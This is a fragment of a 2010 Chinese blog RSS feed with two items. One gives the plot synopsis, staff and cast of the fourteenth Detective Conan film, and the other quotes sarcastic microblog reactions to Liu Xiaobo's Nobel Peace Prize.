<p>正当柯南与基德在这个广阔天空作为舞台的头脑战场上一番较量时，神秘的武装集团&ldquo;红暹罗猫&rdquo;抢走了国立微生物研究所的恐怖细菌入侵船内，并挟持了飞行船。震撼全日本的这起剧场型劫机事件，让关西地区一带陷入恐慌！！船上的人们也接连受到细菌感染&hellip;</p>
<p><br />
<br />
<b>【STAFF】</b></p>
<p>原作：青山刚昌</p>
<p>&nbsp;</p>
<p>监督：山本泰一郎</p>
<p>&nbsp;</p>
<p>脚本：古内一成</p>
<p>&nbsp;</p>
<p>音乐：大野克夫</p>
<p>&nbsp;</p>
<p>导演：山本泰一郎</p>
<p><br />
<br />
<b>【CAST】</b></p>
<p>江户川柯南：高山南</p>
<p>&nbsp;</p>
<p>工藤新一：山口胜平</p>
<p>&nbsp;</p>
<p>毛利兰：山崎和佳奈</p>
<p>&nbsp;</p>
<p>毛利小五郎：小山力也</p>
<p>&nbsp;</p>
<p>灰原哀：林原惠</p>
<p>&nbsp;</p>
<p>怪盗基德：山口胜平</p>
<p>&nbsp;</p>
<p>铃木次郞吉：永井一郎</p>
<p>&nbsp;</p>
<p>圆谷光彦：大谷育江</p>
<p>&nbsp;</p>
<p>小嶋元太：高木涉</p>
<p>&nbsp;</p>
<p>吉田步美：岩居由希子</p>
<p>&nbsp;</p>
<p>铃木园子：松井菜樱子</p>
<p>&nbsp;</p>
<p>阿笠博士：绪方贤一</p>
<p>&nbsp;</p>
<p>目暮十三：茶风林</p>
<p>&nbsp;</p>
<p>千叶刑事：千叶一伸</p>
<p>&nbsp;</p>
<p>白鸟任三郎：井上和彦</p>
<p>&nbsp;</p>
<p>高木涉：高木涉</p>
<p>&nbsp;</p>
<p>佐藤美和子：汤屋敦子</p>
<p>&nbsp;</p>
<p>中森银三：石冢运升</p>
<p><br />
<br />
<b>【主题曲】</b></p>
<p>Over Drive</p>
<p>&nbsp;</p>
<p>演唱：GARNET CROW</p>
<p>&nbsp;</p>
<p>作词：AZUKI七</p>
<p>&nbsp;</p>
<p>作曲：中村由利</p>
<p>&nbsp;</p>
<p>编曲：古井弘人</p>]]></description>
	<pubDate>Sat, 09 Oct 2010 15:04:17 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/detectiv_conan_14</guid>

</item>
<item>
	<title>热烈庆祝中国公民获得诺贝尔和平奖</title>
	<link>http://www.holmesian.org/t_750</link>
	<description><![CDATA[中国人民终于在诺贝尔奖上突破了0.<br/>
<br/>
<br/>
@duck_1984: "我不知道刘先生是谁，但是我为中国人能够获得诺贝尔奖而高兴，他一定是我们中国共产党的好党员，我们中国人民的好干部，为人民做实事的好领导。"<br/>
<br/>
@pufei 据传刘晓波同学成为了第一个由监狱<br/>
<br/>
@hutianyi: RT @duck_1984: 著名物理学家、诺贝尔奖获得者杨振宁9月10日在成都电子科技大学演讲，向大学生推荐书籍，传授学习方法，并预言中国本土10年内将出现诺贝尔奖获得者。 【科学家的话一定要信！】 长通知获奖的诺贝尔和平奖得主。]]></description>
	<pubDate>Sat, 09 Oct 2010 08:13:25 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_750</guid>

</item></channel>
</rss>
